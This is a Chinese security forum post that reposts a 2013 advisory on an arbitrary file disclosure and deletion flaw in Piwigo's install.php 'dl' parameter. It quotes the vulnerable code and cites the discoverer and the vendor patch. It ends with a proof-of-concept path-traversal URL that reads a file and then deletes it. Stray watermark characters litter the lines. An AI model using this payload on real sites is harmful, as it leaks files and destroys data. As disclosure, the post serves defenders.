找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2260|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。
. I3 C2 ?  v6 `# ~# d
) F% J( H: m% S3 e9 ZPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。
0 T/ a! g6 I( A8 F====================================================================
5 r7 A/ W0 d# B: b, f7 Y/install.php:4 ^4 f9 m; R. {* L3 {# f
-------------
( z3 G+ T% H& S4 c/ b0 B113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))8 ?* J- `6 g/ s+ J( H. M2 Q& ], K
114: {) Z. m3 A' \7 k2 L/ \; E% B
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' a+ Y6 K" t9 T, a3 ^116:   header('Cache-Control: no-cache, must-revalidate');
& y" k. c  P/ E. s/ |* j. C117:   header('Pragma: no-cache');8 ~- X- u* j. [) g% }
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
& n3 N1 m, {2 W119:   header('Content-Transfer-Encoding: binary');; D. K$ ^8 U! `7 g( P
120:   header('Content-Length: '.filesize($filename));
. |/ D& O* [) G2 C; v4 W121:   echo file_get_contents($filename);
) T$ d+ N: |( A8 H3 [. |122:   unlink($filename);
4 d7 v) @4 t  p1 j4 Y6 h1 U+ a123:   exit();2 \: |; O1 N7 M. M* p$ N
124: }
0 h/ X$ b8 P! c. W# z5 H====================================================================6 Y* b5 d; ]* b  q& m7 n

2 X! y+ b. m8 JTested on: Microsoft Windows 7 Ultimate SP1 (EN)
& F+ u" h8 l: M9 i           Apache 2.4.2 (Win32)
0 i8 Z5 J6 [, F# |           PHP 5.4.4
  N: k- l7 B1 \( r8 l; B: c           MySQL 5.5.25a
/ _+ G2 z. G" s) t+ x
- i, W4 Q0 Q/ y& L' R' {9 P6 \Vulnerability discovered by Gjoko 'LiquidWorm' Krstic" D; u9 M5 I2 E: z
                            @zeroscience
6 p% D' k' h6 {
7 B3 b: y# y: o3 z' _6 JAdvisory ID: ZSL-2013-5127  b6 f9 z1 S# v
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
% c* c7 J8 h; x0 \% tVendor Patch: http://piwigo.org/bugs/view.php?id=2843
# U+ L8 z$ x" k7 r1 p
# G5 U( h: r9 T8 u15.02.2013
7 ]; E* d! G; [! A" R3 K% q7 U, G5 } 6 G+ m0 w) T  |5 S7 i/ L
--
' e0 D5 W2 }. s" t4 t: U$ D3 o. lhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt1 V0 ?3 t: |: B+ p3 e" j' _

7 z( L0 G: L/ Q% _, |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表